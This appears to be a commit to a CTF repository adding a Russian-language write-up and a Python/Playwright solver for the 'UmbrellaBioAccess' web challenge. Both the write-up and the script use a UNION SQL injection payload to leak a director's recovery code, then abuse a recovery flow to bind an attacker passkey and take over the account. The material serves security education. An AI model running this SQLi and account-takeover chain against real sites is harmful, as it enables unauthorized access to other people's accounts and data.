Init. commit
This commit is contained in:
50
web-umbrella-bio-access/WRITEUP.md
Normal file
50
web-umbrella-bio-access/WRITEUP.md
Normal file
@@ -0,0 +1,50 @@
|
||||
<h1 align="center">UmbrellaBioAccess</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
|
||||
<img src="https://img.shields.io/badge/points-979-critical" alt="979 pts"/>
|
||||
</p>
|
||||
|
||||
Переходим по ссылке и видим перед нами три раздела: `Field Directory`, `Emergency Recovery` и `Partner Access`. Логично предположить, что решение будет состоять из нескольких шагов. Для этого необходим будет эксплуатировать две уязвимости: SQL injection в legacy-поиске и кривой recovery-flow, который позволяет привязать новый passkey к чужому аккаунту, зная только `recovery_code`. Благодаря этому получаем сессию директора и доступ к `BioCore Vault`.
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
D(["/directory<br/><i>SQLi UNION</i>"])
|
||||
R(["/recovery<br/><i>bind own passkey</i>"])
|
||||
A(["/access<br/><i>passkey login</i>"])
|
||||
V(["/vault<br/><b>→ flag</b>"])
|
||||
|
||||
D -->|recovery_code| R -->|own passkey linked| A -->|director session| V
|
||||
|
||||
classDef step fill:#e0e7ff,stroke:#6366f1,color:#312e81
|
||||
classDef win fill:#fee2e2,stroke:#dc2626,color:#7f1d1d
|
||||
class D,R,A step
|
||||
class V win
|
||||
```
|
||||
|
||||
## Решение
|
||||
|
||||
Начинаем с `/directory`. Поиск по legacy-справочнику, и прямо там висит подпись `Quote-aware matching enabled.`. Проверяем одинарной кавычкой — параметр поиска улетает внутрь выражения вида `ILIKE '%...%'`, можно попоробовать использовать SQLi. Простая булева инъекция (`OR true`) подтверждает наличие дыры, но к нужным скрытым полям доступа не даст. Идём через `UNION SELECT` и подменяем `displayName` значением `recovery_code`:
|
||||
|
||||
```sql
|
||||
') UNION ALL SELECT codename,recovery_code,division,dossier
|
||||
FROM directory_public_view WHERE role='director' --
|
||||
```
|
||||
|
||||
В ответе появляется запись директора:
|
||||
|
||||
| Поле | Содержимое |
|
||||
|---|---|
|
||||
| `codename` | кодовое имя директора |
|
||||
| `displayName` | 24-символьный hex `recovery_code` |
|
||||
|
||||
Идём в `/recovery`.
|
||||
|
||||
> Здесь не прямо классический [WebAuthn](https://www.w3.org/TR/webauthn-2/), атаку необходимо провести на бизнес-логику восстановления.
|
||||
|
||||
Знание `recovery_code` считается достаточным основанием, чтобы привязать новый passkey к существующему аккаунту. Вводим извлечённый recovery-код, завершаем регистрацию своего passkey, и он оказывается связан с директорским профилем.
|
||||
|
||||
Ну все, мы фактически на финише. На `/access` вводим директорский `codename`, логинимся обычным passkey-флоу уже своим ключом — получаем сессию с ролью `director`. Открываем `/vault` (или напрямую дёргаем `GET /api/vault/biocore`) — сервер отдаёт флаг.
|
||||
|
||||
## Флаг
|
||||
`caplag{read_only_sqli_rebinds_director_passkeys}`
|
||||
3
web-umbrella-bio-access/solve/requirements.txt
Normal file
3
web-umbrella-bio-access/solve/requirements.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
playwright>=1.52,<2
|
||||
requests>=2.32,<3
|
||||
|
||||
147
web-umbrella-bio-access/solve/solver.py
Normal file
147
web-umbrella-bio-access/solve/solver.py
Normal file
@@ -0,0 +1,147 @@
|
||||
import argparse
|
||||
import re
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
from urllib.parse import urljoin
|
||||
|
||||
import requests
|
||||
import urllib3
|
||||
from playwright.sync_api import BrowserContext, Page, sync_playwright
|
||||
|
||||
|
||||
DIRECTOR_QUERY = (
|
||||
"') UNION ALL SELECT codename,recovery_code,division,dossier "
|
||||
"FROM directory_public_view WHERE role='director' -- "
|
||||
)
|
||||
RECOVERY_CODE_RE = re.compile(r"^[0-9a-f]{24}$")
|
||||
|
||||
|
||||
@dataclass
|
||||
class DirectorProfile:
|
||||
codename: str
|
||||
recovery_code: str
|
||||
|
||||
|
||||
def parse_args() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(description="Exploit Umbrella BioAccess and print the flag.")
|
||||
parser.add_argument("--base-url", required=True, help="Base URL of the challenge, e.g. https://bioaccess.ctf")
|
||||
parser.add_argument(
|
||||
"--insecure",
|
||||
action="store_true",
|
||||
help="Disable TLS verification for self-signed challenge certificates",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--headful",
|
||||
action="store_true",
|
||||
help="Run Chromium in headful mode for debugging",
|
||||
)
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
def api_url(base_url: str, path: str) -> str:
|
||||
return urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
|
||||
|
||||
|
||||
def discover_director(base_url: str, insecure: bool) -> DirectorProfile:
|
||||
session = requests.Session()
|
||||
session.verify = not insecure
|
||||
|
||||
if insecure:
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
response = session.post(
|
||||
api_url(base_url, "/api/directory/search"),
|
||||
json={"query": DIRECTOR_QUERY},
|
||||
timeout=20,
|
||||
)
|
||||
response.raise_for_status()
|
||||
payload = response.json()
|
||||
|
||||
items = payload.get("items", [])
|
||||
for item in items:
|
||||
codename = str(item.get("codename", ""))
|
||||
display_name = str(item.get("displayName", ""))
|
||||
if RECOVERY_CODE_RE.fullmatch(display_name):
|
||||
return DirectorProfile(codename=codename, recovery_code=display_name)
|
||||
|
||||
raise RuntimeError("Director recovery vector not found in SQLi response")
|
||||
|
||||
|
||||
def enable_virtual_authenticator(context: BrowserContext, page: Page) -> None:
|
||||
cdp = context.new_cdp_session(page)
|
||||
cdp.send("WebAuthn.enable")
|
||||
cdp.send(
|
||||
"WebAuthn.addVirtualAuthenticator",
|
||||
{
|
||||
"options": {
|
||||
"protocol": "ctap2",
|
||||
"transport": "internal",
|
||||
"hasResidentKey": True,
|
||||
"hasUserVerification": True,
|
||||
"isUserVerified": True,
|
||||
"automaticPresenceSimulation": True,
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def solve_with_browser(base_url: str, profile: DirectorProfile, insecure: bool, headful: bool) -> str:
|
||||
with sync_playwright() as playwright:
|
||||
browser = playwright.chromium.launch(headless=not headful)
|
||||
context = browser.new_context(ignore_https_errors=insecure)
|
||||
page = context.new_page()
|
||||
|
||||
enable_virtual_authenticator(context, page)
|
||||
|
||||
page.goto(api_url(base_url, "/recovery"), wait_until="networkidle")
|
||||
page.get_by_test_id("recovery-code").fill(profile.recovery_code)
|
||||
page.get_by_test_id("recovery-submit").click()
|
||||
page.wait_for_url(re.compile(r".*/access$"), timeout=20_000)
|
||||
|
||||
page.get_by_test_id("login-codename").fill(profile.codename)
|
||||
page.get_by_test_id("login-submit").click()
|
||||
page.wait_for_url(re.compile(r".*/vault$"), timeout=20_000)
|
||||
|
||||
page.get_by_test_id("vault-fetch").click()
|
||||
page.wait_for_function(
|
||||
"""
|
||||
() => {
|
||||
const node = document.querySelector('[data-testid="vault-flag"]');
|
||||
return node && node.textContent && node.textContent.trim() !== '\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0435 \u0432\u044b\u0434\u0430\u043d\u044b.';
|
||||
}
|
||||
""",
|
||||
timeout=20_000,
|
||||
)
|
||||
flag = page.get_by_test_id("vault-flag").text_content().strip()
|
||||
|
||||
browser.close()
|
||||
|
||||
if not flag or flag == "Материалы не выданы." or flag == "МАТЕРИАЛЫ НЕ ВЫДАНЫ.":
|
||||
raise RuntimeError("Vault returned no payload")
|
||||
if not flag.lower().startswith("caplag{"):
|
||||
raise RuntimeError(f"Unexpected flag format: {flag}")
|
||||
|
||||
return flag.lower()
|
||||
|
||||
|
||||
def main() -> int:
|
||||
args = parse_args()
|
||||
|
||||
try:
|
||||
profile = discover_director(args.base_url, args.insecure)
|
||||
print(f"[+] director codename: {profile.codename}")
|
||||
print(f"[+] recovery code: {profile.recovery_code}")
|
||||
|
||||
flag = solve_with_browser(args.base_url, profile, args.insecure, args.headful)
|
||||
print(f"[+] flag: {flag}")
|
||||
return 0
|
||||
except Exception as exc:
|
||||
message = str(exc)
|
||||
if "Executable doesn't exist" in message or "playwright install" in message.lower():
|
||||
message = f"{message}\n[hint] install a browser with: python -m playwright install chromium"
|
||||
print(f"[-] solve failed: {message}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in New Issue
Block a user